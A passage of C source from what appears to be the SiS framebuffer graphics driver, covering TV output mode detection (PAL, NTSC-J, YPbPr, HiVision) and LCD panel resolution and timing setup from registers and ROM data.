if(SiS_Pr->ChipType < XGI_20) { romindex = 0xf3; if(SiS_Pr->ChipType >= SIS_330) romindex = 0x11b; } } if(temp) { if(romindex && SiS_Pr->SiS_UseROM && (!(SiS_Pr->SiS_ROMNew))) { OutputSelect = ROMAddr[romindex]; if(!(OutputSelect & EnablePALMN)) { SiS_SetRegAND(SiS_Pr->SiS_P3d4,temp,0x3F); } } temp1 = SiS_GetReg(SiS_Pr->SiS_P3d4,temp); if(SiS_Pr->SiS_TVMode & TVSetPAL) { if(temp1 & EnablePALM) { /* 0x40 */ SiS_Pr->SiS_TVMode |= TVSetPALM; SiS_Pr->SiS_TVMode &= ~TVSetPAL; } else if(temp1 & EnablePALN) { /* 0x80 */ SiS_Pr->SiS_TVMode |= TVSetPALN; } } else { if(temp1 & EnableNTSCJ) { /* 0x40 */ SiS_Pr->SiS_TVMode |= TVSetNTSCJ; } } } /* Translate HiVision/YPbPr to our new flags */ if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { if(SiS_Pr->SiS_YPbPr == YPbPr750p) SiS_Pr->SiS_TVMode |= TVSetYPbPr750p; else if(SiS_Pr->SiS_YPbPr == YPbPr525p) SiS_Pr->SiS_TVMode |= TVSetYPbPr525p; else if(SiS_Pr->SiS_YPbPr == YPbPrHiVision) SiS_Pr->SiS_TVMode |= TVSetHiVision; else SiS_Pr->SiS_TVMode |= TVSetYPbPr525i; if(SiS_Pr->SiS_TVMode & (TVSetYPbPr750p | TVSetYPbPr525p | TVSetYPbPr525i)) { SiS_Pr->SiS_VBInfo &= ~SetCRT2ToHiVision; SiS_Pr->SiS_VBInfo |= SetCRT2ToYPbPr525750; } else if(SiS_Pr->SiS_TVMode & TVSetHiVision) { SiS_Pr->SiS_TVMode |= TVSetPAL; } } } else if(SiS_Pr->SiS_IF_DEF_CH70xx != 0) { if(SiS_Pr->SiS_CHOverScan) { if(SiS_Pr->SiS_IF_DEF_CH70xx == 1) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x35); if((temp & TVOverScan) || (SiS_Pr->SiS_CHOverScan == 1)) { SiS_Pr->SiS_TVMode |= TVSetCHOverScan; } } else if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x79); if((temp & 0x80) || (SiS_Pr->SiS_CHOverScan == 1)) { SiS_Pr->SiS_TVMode |= TVSetCHOverScan; } } if(SiS_Pr->SiS_CHSOverScan) { SiS_Pr->SiS_TVMode |= TVSetCHOverScan; } } if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x38); if(SiS_Pr->SiS_TVMode & TVSetPAL) { if(temp & EnablePALM) SiS_Pr->SiS_TVMode |= TVSetPALM; else if(temp & EnablePALN) SiS_Pr->SiS_TVMode |= TVSetPALN; } else { if(temp & EnableNTSCJ) { SiS_Pr->SiS_TVMode |= TVSetNTSCJ; } } } } } else { /* 661 and later */ temp1 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x35); if(temp1 & 0x01) { SiS_Pr->SiS_TVMode |= TVSetPAL; if(temp1 & 0x08) { SiS_Pr->SiS_TVMode |= TVSetPALN; } else if(temp1 & 0x04) { if(SiS_Pr->SiS_VBType & VB_SISVB) { SiS_Pr->SiS_TVMode &= ~TVSetPAL; } SiS_Pr->SiS_TVMode |= TVSetPALM; } } else { if(temp1 & 0x02) { SiS_Pr->SiS_TVMode |= TVSetNTSCJ; } } if(SiS_Pr->SiS_IF_DEF_CH70xx == 2) { if(SiS_Pr->SiS_CHOverScan) { if((temp1 & 0x10) || (SiS_Pr->SiS_CHOverScan == 1)) { SiS_Pr->SiS_TVMode |= TVSetCHOverScan; } } } if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { temp1 &= 0xe0; if(temp1 == 0x00) SiS_Pr->SiS_TVMode |= TVSetYPbPr525i; else if(temp1 == 0x20) SiS_Pr->SiS_TVMode |= TVSetYPbPr525p; else if(temp1 == 0x40) SiS_Pr->SiS_TVMode |= TVSetYPbPr750p; } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { SiS_Pr->SiS_TVMode |= (TVSetHiVision | TVSetPAL); } if(SiS_Pr->SiS_VBInfo & (SetCRT2ToYPbPr525750 | SetCRT2ToHiVision)) { if(resinfo == SIS_RI_800x480 || resinfo == SIS_RI_1024x576 || resinfo == SIS_RI_1280x720) { SiS_Pr->SiS_TVMode |= TVAspect169; } else { temp1 = SiS_GetReg(SiS_Pr->SiS_P3d4,0x39); if(temp1 & 0x02) { if(SiS_Pr->SiS_TVMode & (TVSetYPbPr750p | TVSetHiVision)) { SiS_Pr->SiS_TVMode |= TVAspect169; } else { SiS_Pr->SiS_TVMode |= TVAspect43LB; } } else { SiS_Pr->SiS_TVMode |= TVAspect43; } } } } } if(SiS_Pr->SiS_VBInfo & SetCRT2ToSCART) SiS_Pr->SiS_TVMode |= TVSetPAL; if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) { SiS_Pr->SiS_TVMode |= TVSetPAL; SiS_Pr->SiS_TVMode &= ~(TVSetPALM | TVSetPALN | TVSetNTSCJ); } else if(SiS_Pr->SiS_VBInfo & SetCRT2ToYPbPr525750) { if(SiS_Pr->SiS_TVMode & (TVSetYPbPr525i | TVSetYPbPr525p | TVSetYPbPr750p)) { SiS_Pr->SiS_TVMode &= ~(TVSetPAL | TVSetNTSCJ | TVSetPALM | TVSetPALN); } } if(SiS_Pr->SiS_VBInfo & SetInSlaveMode) { if(!(SiS_Pr->SiS_VBInfo & SetNotSimuMode)) { SiS_Pr->SiS_TVMode |= TVSetTVSimuMode; } } if(!(SiS_Pr->SiS_TVMode & TVSetPAL)) { if(resinfo == SIS_RI_1024x768) { if(SiS_Pr->SiS_TVMode & TVSetYPbPr525p) { SiS_Pr->SiS_TVMode |= TVSet525p1024; } else if(!(SiS_Pr->SiS_TVMode & (TVSetHiVision | TVSetYPbPr750p))) { SiS_Pr->SiS_TVMode |= TVSetNTSC1024; } } } SiS_Pr->SiS_TVMode |= TVRPLLDIV2XO; if((SiS_Pr->SiS_VBInfo & SetCRT2ToHiVision) && (SiS_Pr->SiS_VBInfo & SetInSlaveMode)) { SiS_Pr->SiS_TVMode &= ~TVRPLLDIV2XO; } else if(SiS_Pr->SiS_TVMode & (TVSetYPbPr525p | TVSetYPbPr750p)) { SiS_Pr->SiS_TVMode &= ~TVRPLLDIV2XO; } else if(!(SiS_Pr->SiS_VBType & VB_SIS30xBLV)) { if(SiS_Pr->SiS_TVMode & TVSetTVSimuMode) { SiS_Pr->SiS_TVMode &= ~TVRPLLDIV2XO; } } } SiS_Pr->SiS_VBInfo &= ~SetPALTV; } /*********************************************/ /* GET LCD INFO */ /*********************************************/ static unsigned short SiS_GetBIOSLCDResInfo(struct SiS_Private *SiS_Pr) { unsigned short temp = SiS_Pr->SiS_LCDResInfo; /* Translate my LCDResInfo to BIOS value */ switch(temp) { case Panel_1280x768_2: temp = Panel_1280x768; break; case Panel_1280x800_2: temp = Panel_1280x800; break; case Panel_1280x854: temp = Panel661_1280x854; break; } return temp; } static void SiS_GetLCDInfoBIOS(struct SiS_Private *SiS_Pr) { #ifdef CONFIG_FB_SIS_315 unsigned char *ROMAddr; unsigned short temp; if((ROMAddr = GetLCDStructPtr661(SiS_Pr))) { if((temp = SISGETROMW(6)) != SiS_Pr->PanelHT) { SiS_Pr->SiS_NeedRomModeData = true; SiS_Pr->PanelHT = temp; } if((temp = SISGETROMW(8)) != SiS_Pr->PanelVT) { SiS_Pr->SiS_NeedRomModeData = true; SiS_Pr->PanelVT = temp; } SiS_Pr->PanelHRS = SISGETROMW(10); SiS_Pr->PanelHRE = SISGETROMW(12); SiS_Pr->PanelVRS = SISGETROMW(14); SiS_Pr->PanelVRE = SISGETROMW(16); SiS_Pr->PanelVCLKIdx315 = VCLK_CUSTOM_315; SiS_Pr->SiS_VCLKData[VCLK_CUSTOM_315].CLOCK = SiS_Pr->SiS_VBVCLKData[VCLK_CUSTOM_315].CLOCK = (unsigned short)((unsigned char)ROMAddr[18]); SiS_Pr->SiS_VCLKData[VCLK_CUSTOM_315].SR2B = SiS_Pr->SiS_VBVCLKData[VCLK_CUSTOM_315].Part4_A = ROMAddr[19]; SiS_Pr->SiS_VCLKData[VCLK_CUSTOM_315].SR2C = SiS_Pr->SiS_VBVCLKData[VCLK_CUSTOM_315].Part4_B = ROMAddr[20]; } #endif } static void SiS_CheckScaling(struct SiS_Private *SiS_Pr, unsigned short resinfo, const unsigned char *nonscalingmodes) { int i = 0; while(nonscalingmodes[i] != 0xff) { if(nonscalingmodes[i++] == resinfo) { if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) || (SiS_Pr->UsePanelScaler == -1)) { SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } break; } } } void SiS_GetLCDResInfo(struct SiS_Private *SiS_Pr, unsigned short ModeNo, unsigned short ModeIdIndex) { unsigned short temp,modeflag,resinfo=0,modexres=0,modeyres=0; bool panelcanscale = false; #ifdef CONFIG_FB_SIS_300 unsigned char *ROMAddr = SiS_Pr->VirtualRomBase; static const unsigned char SiS300SeriesLCDRes[] = { 0, 1, 2, 3, 7, 4, 5, 8, 0, 0, 10, 0, 0, 0, 0, 15 }; #endif #ifdef CONFIG_FB_SIS_315 unsigned char *myptr = NULL; #endif SiS_Pr->SiS_LCDResInfo = 0; SiS_Pr->SiS_LCDTypeInfo = 0; SiS_Pr->SiS_LCDInfo = 0; SiS_Pr->PanelHRS = 999; /* HSync start */ SiS_Pr->PanelHRE = 999; /* HSync end */ SiS_Pr->PanelVRS = 999; /* VSync start */ SiS_Pr->PanelVRE = 999; /* VSync end */ SiS_Pr->SiS_NeedRomModeData = false; /* Alternative 1600x1200@60 timing for 1600x1200 LCDA */ SiS_Pr->Alternate1600x1200 = false; if(!(SiS_Pr->SiS_VBInfo & (SetCRT2ToLCD | SetCRT2ToLCDA))) return; modeflag = SiS_GetModeFlag(SiS_Pr, ModeNo, ModeIdIndex); if((ModeNo > 0x13) && (!SiS_Pr->UseCustomMode)) { resinfo = SiS_Pr->SiS_EModeIDTable[ModeIdIndex].Ext_RESINFO; modexres = SiS_Pr->SiS_ModeResInfo[resinfo].HTotal; modeyres = SiS_Pr->SiS_ModeResInfo[resinfo].VTotal; } temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x36); /* For broken BIOSes: Assume 1024x768 */ if(temp == 0) temp = 0x02; if((SiS_Pr->ChipType >= SIS_661) || (SiS_Pr->SiS_ROMNew)) { SiS_Pr->SiS_LCDTypeInfo = (SiS_GetReg(SiS_Pr->SiS_P3d4,0x39) & 0x7c) >> 2; } else if((SiS_Pr->ChipType < SIS_315H) || (SiS_Pr->ChipType >= SIS_661)) { SiS_Pr->SiS_LCDTypeInfo = temp >> 4; } else { SiS_Pr->SiS_LCDTypeInfo = (temp & 0x0F) - 1; } temp &= 0x0f; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->ChipType < SIS_315H) { /* Very old BIOSes only know 7 sizes (NetVista 2179, 1.01g) */ if(SiS_Pr->SiS_VBType & VB_SIS301) { if(temp < 0x0f) temp &= 0x07; } /* Translate 300 series LCDRes to 315 series for unified usage */ temp = SiS300SeriesLCDRes[temp]; } #endif /* Translate to our internal types */ #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType == SIS_550) { if (temp == Panel310_1152x768) temp = Panel_320x240_2; /* Verified working */ else if(temp == Panel310_320x240_2) temp = Panel_320x240_2; else if(temp == Panel310_320x240_3) temp = Panel_320x240_3; } else if(SiS_Pr->ChipType >= SIS_661) { if(temp == Panel661_1280x854) temp = Panel_1280x854; } #endif if(SiS_Pr->SiS_VBType & VB_SISLVDS) { /* SiS LVDS */ if(temp == Panel310_1280x768) { temp = Panel_1280x768_2; } if(SiS_Pr->SiS_ROMNew) { if(temp == Panel661_1280x800) { temp = Panel_1280x800_2; } } } SiS_Pr->SiS_LCDResInfo = temp; #ifdef CONFIG_FB_SIS_300 if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { if(SiS_Pr->SiS_CustomT == CUT_BARCO1366) { SiS_Pr->SiS_LCDResInfo = Panel_Barco1366; } else if(SiS_Pr->SiS_CustomT == CUT_PANEL848) { SiS_Pr->SiS_LCDResInfo = Panel_848x480; } else if(SiS_Pr->SiS_CustomT == CUT_PANEL856) { SiS_Pr->SiS_LCDResInfo = Panel_856x480; } } #endif if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_LCDResInfo < SiS_Pr->SiS_PanelMin301) SiS_Pr->SiS_LCDResInfo = SiS_Pr->SiS_PanelMin301; } else { if(SiS_Pr->SiS_LCDResInfo < SiS_Pr->SiS_PanelMinLVDS) SiS_Pr->SiS_LCDResInfo = SiS_Pr->SiS_PanelMinLVDS; } temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x37); SiS_Pr->SiS_LCDInfo = temp & ~0x000e; /* Need temp below! */ /* These must/can't scale no matter what */ switch(SiS_Pr->SiS_LCDResInfo) { case Panel_320x240_1: case Panel_320x240_2: case Panel_320x240_3: case Panel_1280x960: SiS_Pr->SiS_LCDInfo &= ~DontExpandLCD; break; case Panel_640x480: SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } panelcanscale = (bool)(SiS_Pr->SiS_LCDInfo & DontExpandLCD); if(!SiS_Pr->UsePanelScaler) SiS_Pr->SiS_LCDInfo &= ~DontExpandLCD; else if(SiS_Pr->UsePanelScaler == 1) SiS_Pr->SiS_LCDInfo |= DontExpandLCD; /* Dual link, Pass 1:1 BIOS default, etc. */ #ifdef CONFIG_FB_SIS_315 if(SiS_Pr->ChipType >= SIS_661) { if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(temp & 0x08) SiS_Pr->SiS_LCDInfo |= LCDPass11; } if(SiS_Pr->SiS_VBType & VB_SISDUALLINK) { if(SiS_Pr->SiS_ROMNew) { if(temp & 0x02) SiS_Pr->SiS_LCDInfo |= LCDDualLink; } else if((myptr = GetLCDStructPtr661(SiS_Pr))) { if(myptr[2] & 0x01) SiS_Pr->SiS_LCDInfo |= LCDDualLink; } } } else if(SiS_Pr->ChipType >= SIS_315H) { if(SiS_Pr->SiS_LCDInfo & DontExpandLCD) { if(SiS_GetReg(SiS_Pr->SiS_P3d4,0x39) & 0x01) SiS_Pr->SiS_LCDInfo |= LCDPass11; } if((SiS_Pr->SiS_ROMNew) && (!(SiS_Pr->PanelSelfDetected))) { SiS_Pr->SiS_LCDInfo &= ~(LCDRGB18Bit); temp = SiS_GetReg(SiS_Pr->SiS_P3d4,0x35); if(temp & 0x01) SiS_Pr->SiS_LCDInfo |= LCDRGB18Bit; if(SiS_Pr->SiS_VBType & VB_SISDUALLINK) { if(temp & 0x02) SiS_Pr->SiS_LCDInfo |= LCDDualLink; } } else if(!(SiS_Pr->SiS_ROMNew)) { if(SiS_Pr->SiS_VBType & VB_SISDUALLINK) { if((SiS_Pr->SiS_CustomT == CUT_CLEVO1024) && (SiS_Pr->SiS_LCDResInfo == Panel_1024x768)) { SiS_Pr->SiS_LCDInfo |= LCDDualLink; } if((SiS_Pr->SiS_LCDResInfo == Panel_1280x1024) || (SiS_Pr->SiS_LCDResInfo == Panel_1400x1050) || (SiS_Pr->SiS_LCDResInfo == Panel_1600x1200) || (SiS_Pr->SiS_LCDResInfo == Panel_1680x1050)) { SiS_Pr->SiS_LCDInfo |= LCDDualLink; } } } } #endif /* Pass 1:1 */ if((SiS_Pr->SiS_IF_DEF_LVDS == 1) || (SiS_Pr->SiS_VBType & VB_NoLCD)) { /* Always center screen on LVDS (if scaling is disabled) */ SiS_Pr->SiS_LCDInfo &= ~LCDPass11; } else if(SiS_Pr->SiS_VBType & VB_SISVB) { if(SiS_Pr->SiS_VBType & VB_SISLVDS) { /* Always center screen on SiS LVDS (if scaling is disabled) */ SiS_Pr->SiS_LCDInfo &= ~LCDPass11; } else { /* By default, pass 1:1 on SiS TMDS (if scaling is supported) */ if(panelcanscale) SiS_Pr->SiS_LCDInfo |= LCDPass11; if(SiS_Pr->CenterScreen == 1) SiS_Pr->SiS_LCDInfo &= ~LCDPass11; } } SiS_Pr->PanelVCLKIdx300 = VCLK65_300; SiS_Pr->PanelVCLKIdx315 = VCLK108_2_315; switch(SiS_Pr->SiS_LCDResInfo) { case Panel_320x240_1: case Panel_320x240_2: case Panel_320x240_3: SiS_Pr->PanelXRes = 640; SiS_Pr->PanelYRes = 480; SiS_Pr->PanelVRS = 24; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx300 = VCLK28; SiS_Pr->PanelVCLKIdx315 = VCLK28; break; case Panel_640x480: SiS_Pr->PanelXRes = 640; SiS_Pr->PanelYRes = 480; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx300 = VCLK28; SiS_Pr->PanelVCLKIdx315 = VCLK28; break; case Panel_800x600: SiS_Pr->PanelXRes = 800; SiS_Pr->PanelYRes = 600; SiS_Pr->PanelHT = 1056; SiS_Pr->PanelVT = 628; SiS_Pr->PanelHRS = 40; SiS_Pr->PanelHRE = 128; SiS_Pr->PanelVRS = 1; SiS_Pr->PanelVRE = 4; SiS_Pr->PanelVCLKIdx300 = VCLK40; SiS_Pr->PanelVCLKIdx315 = VCLK40; break; case Panel_1024x600: SiS_Pr->PanelXRes = 1024; SiS_Pr->PanelYRes = 600; SiS_Pr->PanelHT = 1344; SiS_Pr->PanelVT = 800; SiS_Pr->PanelHRS = 24; SiS_Pr->PanelHRE = 136; SiS_Pr->PanelVRS = 2 /* 88 */ ; SiS_Pr->PanelVRE = 6; SiS_Pr->PanelVCLKIdx300 = VCLK65_300; SiS_Pr->PanelVCLKIdx315 = VCLK65_315; break; case Panel_1024x768: SiS_Pr->PanelXRes = 1024; SiS_Pr->PanelYRes = 768; SiS_Pr->PanelHT = 1344; SiS_Pr->PanelVT = 806; SiS_Pr->PanelHRS = 24; SiS_Pr->PanelHRE = 136; SiS_Pr->PanelVRS = 3; SiS_Pr->PanelVRE = 6; if(SiS_Pr->ChipType < SIS_315H) { SiS_Pr->PanelHRS = 23; SiS_Pr->PanelVRE = 5; } SiS_Pr->PanelVCLKIdx300 = VCLK65_300; SiS_Pr->PanelVCLKIdx315 = VCLK65_315; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1152x768: SiS_Pr->PanelXRes = 1152; SiS_Pr->PanelYRes = 768; SiS_Pr->PanelHT = 1344; SiS_Pr->PanelVT = 806; SiS_Pr->PanelHRS = 24; SiS_Pr->PanelHRE = 136; SiS_Pr->PanelVRS = 3; SiS_Pr->PanelVRE = 6; if(SiS_Pr->ChipType < SIS_315H) { SiS_Pr->PanelHRS = 23; SiS_Pr->PanelVRE = 5; } SiS_Pr->PanelVCLKIdx300 = VCLK65_300; SiS_Pr->PanelVCLKIdx315 = VCLK65_315; break; case Panel_1152x864: SiS_Pr->PanelXRes = 1152; SiS_Pr->PanelYRes = 864; break; case Panel_1280x720: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 720; SiS_Pr->PanelHT = 1650; SiS_Pr->PanelVT = 750; SiS_Pr->PanelHRS = 110; SiS_Pr->PanelHRE = 40; SiS_Pr->PanelVRS = 5; SiS_Pr->PanelVRE = 5; SiS_Pr->PanelVCLKIdx315 = VCLK_1280x720; /* Data above for TMDS (projector); get from BIOS for LVDS */ SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1280x768: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 768; if(SiS_Pr->SiS_IF_DEF_LVDS == 1) { SiS_Pr->PanelHT = 1408; SiS_Pr->PanelVT = 806; SiS_Pr->PanelVCLKIdx300 = VCLK81_300; /* ? */ SiS_Pr->PanelVCLKIdx315 = VCLK81_315; /* ? */ } else { SiS_Pr->PanelHT = 1688; SiS_Pr->PanelVT = 802; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 3; SiS_Pr->PanelVRE = 6; SiS_Pr->PanelVCLKIdx300 = VCLK81_300; SiS_Pr->PanelVCLKIdx315 = VCLK81_315; } break; case Panel_1280x768_2: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 768; SiS_Pr->PanelHT = 1660; SiS_Pr->PanelVT = 806; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 3; SiS_Pr->PanelVRE = 6; SiS_Pr->PanelVCLKIdx315 = VCLK_1280x768_2; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1280x800: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 800; SiS_Pr->PanelHT = 1408; SiS_Pr->PanelVT = 816; SiS_Pr->PanelHRS = 21; SiS_Pr->PanelHRE = 24; SiS_Pr->PanelVRS = 4; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx315 = VCLK_1280x800_315; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1280x800_2: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 800; SiS_Pr->PanelHT = 1552; SiS_Pr->PanelVT = 812; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 4; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx315 = VCLK_1280x800_315_2; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1280x854: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 854; SiS_Pr->PanelHT = 1664; SiS_Pr->PanelVT = 861; SiS_Pr->PanelHRS = 16; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 1; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx315 = VCLK_1280x854; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1280x960: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 960; SiS_Pr->PanelHT = 1800; SiS_Pr->PanelVT = 1000; SiS_Pr->PanelVCLKIdx300 = VCLK108_3_300; SiS_Pr->PanelVCLKIdx315 = VCLK108_3_315; if(resinfo == SIS_RI_1280x1024) { SiS_Pr->PanelVCLKIdx300 = VCLK100_300; SiS_Pr->PanelVCLKIdx315 = VCLK100_315; } break; case Panel_1280x1024: SiS_Pr->PanelXRes = 1280; SiS_Pr->PanelYRes = 1024; SiS_Pr->PanelHT = 1688; SiS_Pr->PanelVT = 1066; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 1; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx300 = VCLK108_3_300; SiS_Pr->PanelVCLKIdx315 = VCLK108_2_315; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1400x1050: SiS_Pr->PanelXRes = 1400; SiS_Pr->PanelYRes = 1050; SiS_Pr->PanelHT = 1688; SiS_Pr->PanelVT = 1066; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 112; SiS_Pr->PanelVRS = 1; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx315 = VCLK108_2_315; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1600x1200: SiS_Pr->PanelXRes = 1600; SiS_Pr->PanelYRes = 1200; SiS_Pr->PanelHT = 2160; SiS_Pr->PanelVT = 1250; SiS_Pr->PanelHRS = 64; SiS_Pr->PanelHRE = 192; SiS_Pr->PanelVRS = 1; SiS_Pr->PanelVRE = 3; SiS_Pr->PanelVCLKIdx315 = VCLK162_315; if(SiS_Pr->SiS_VBType & VB_SISTMDSLCDA) { if(SiS_Pr->SiS_VBInfo & SetCRT2ToLCDA) { SiS_Pr->PanelHT = 1760; SiS_Pr->PanelVT = 1235; SiS_Pr->PanelHRS = 48; SiS_Pr->PanelHRE = 32; SiS_Pr->PanelVRS = 2; SiS_Pr->PanelVRE = 4; SiS_Pr->PanelVCLKIdx315 = VCLK130_315; SiS_Pr->Alternate1600x1200 = true; } } else if(SiS_Pr->SiS_IF_DEF_LVDS) { SiS_Pr->PanelHT = 2048; SiS_Pr->PanelVT = 1320; SiS_Pr->PanelHRS = SiS_Pr->PanelHRE = 999; SiS_Pr->PanelVRS = SiS_Pr->PanelVRE = 999; } SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_1680x1050: SiS_Pr->PanelXRes = 1680; SiS_Pr->PanelYRes = 1050; SiS_Pr->PanelHT = 1900; SiS_Pr->PanelVT = 1066; SiS_Pr->PanelHRS = 26; SiS_Pr->PanelHRE = 76; SiS_Pr->PanelVRS = 3; SiS_Pr->PanelVRE = 6; SiS_Pr->PanelVCLKIdx315 = VCLK121_315; SiS_GetLCDInfoBIOS(SiS_Pr); break; case Panel_Barco1366: SiS_Pr->PanelXRes = 1360; SiS_Pr->PanelYRes = 1024; SiS_Pr->PanelHT = 1688; SiS_Pr->PanelVT = 1066; break; case Panel_848x480: SiS_Pr->PanelXRes = 848; SiS_Pr->PanelYRes = 480; SiS_Pr->PanelHT = 1088; SiS_Pr->PanelVT = 525; break; case Panel_856x480: SiS_Pr->PanelXRes = 856; SiS_Pr->PanelYRes = 480; SiS_Pr->PanelHT = 1088; SiS_Pr->PanelVT = 525; break; case Panel_Custom: SiS_Pr->PanelXRes = SiS_Pr->CP_MaxX; SiS_Pr->PanelYRes = SiS_Pr->CP_MaxY; SiS_Pr->PanelHT = SiS_Pr->CHTotal; SiS_Pr->PanelVT = SiS_Pr->CVTotal; if(SiS_Pr->CP_PreferredIndex != -1) { SiS_Pr->PanelXRes = SiS_Pr->CP_HDisplay[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelYRes = SiS_Pr->CP_VDisplay[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelHT = SiS_Pr->CP_HTotal[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelVT = SiS_Pr->CP_VTotal[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelHRS = SiS_Pr->CP_HSyncStart[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelHRE = SiS_Pr->CP_HSyncEnd[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelVRS = SiS_Pr->CP_VSyncStart[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelVRE = SiS_Pr->CP_VSyncEnd[SiS_Pr->CP_PreferredIndex]; SiS_Pr->PanelHRS -= SiS_Pr->PanelXRes; SiS_Pr->PanelHRE -= SiS_Pr->PanelHRS; SiS_Pr->PanelVRS -= SiS_Pr->PanelYRes; SiS_Pr->PanelVRE -= SiS_Pr->PanelVRS; if(SiS_Pr->CP_PrefClock) { int idx; SiS_Pr->PanelVCLKIdx315 = VCLK_CUSTOM_315; SiS_Pr->PanelVCLKIdx300 = VCLK_CUSTOM_300; if(SiS_Pr->ChipType < SIS_315H) idx = VCLK_CUSTOM_300; else idx = VCLK_CUSTOM_315; SiS_Pr->SiS_VCLKData[idx].CLOCK = SiS_Pr->SiS_VBVCLKData[idx].CLOCK = SiS_Pr->CP_PrefClock; SiS_Pr->SiS_VCLKData[idx].SR2B = SiS_Pr->SiS_VBVCLKData[idx].Part4_A = SiS_Pr->CP_PrefSR2B; SiS_Pr->SiS_VCLKData[idx].SR2C = SiS_Pr->SiS_VBVCLKData[idx].Part4_B = SiS_Pr->CP_PrefSR2C; } } break; default: SiS_Pr->PanelXRes = 1024; SiS_Pr->PanelYRes = 768; SiS_Pr->PanelHT = 1344; SiS_Pr->PanelVT = 806; break; } /* Special cases */ if( (SiS_Pr->SiS_IF_DEF_FSTN) || (SiS_Pr->SiS_IF_DEF_DSTN) || (SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024) || (SiS_Pr->SiS_CustomT == CUT_PANEL848) || (SiS_Pr->SiS_CustomT == CUT_PANEL856) ) { SiS_Pr->PanelHRS = 999; SiS_Pr->PanelHRE = 999; } if( (SiS_Pr->SiS_CustomT == CUT_BARCO1366) || (SiS_Pr->SiS_CustomT == CUT_BARCO1024) || (SiS_Pr->SiS_CustomT == CUT_PANEL848) || (SiS_Pr->SiS_CustomT == CUT_PANEL856) ) { SiS_Pr->PanelVRS = 999; SiS_Pr->PanelVRE = 999; } /* DontExpand overrule */ if((SiS_Pr->SiS_VBType & VB_SISVB) && (!(SiS_Pr->SiS_VBType & VB_NoLCD))) { if((SiS_Pr->SiS_VBInfo & SetCRT2ToLCD) && (modeflag & NoSupportLCDScale)) { /* No scaling for this mode on any panel (LCD=CRT2)*/ SiS_Pr->SiS_LCDInfo |= DontExpandLCD; } switch(SiS_Pr->SiS_LCDResInfo) { case Panel_Custom: case Panel_1152x864: case Panel_1280x768: /* TMDS only */ SiS_Pr->SiS_LCDInfo |= DontExpandLCD; break; case Panel_800x600: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, 0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1024x768: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, SIS_RI_800x480, SIS_RI_848x480, SIS_RI_856x480, SIS_RI_960x540, SIS_RI_960x600, SIS_RI_1024x576,SIS_RI_1024x600, 0xff }; SiS_CheckScaling(SiS_Pr, resinfo, nonscalingmodes); break; } case Panel_1280x720: { static const unsigned char nonscalingmodes[] = { SIS_RI_720x480, SIS_RI_720x576, SIS_RI_768x576, 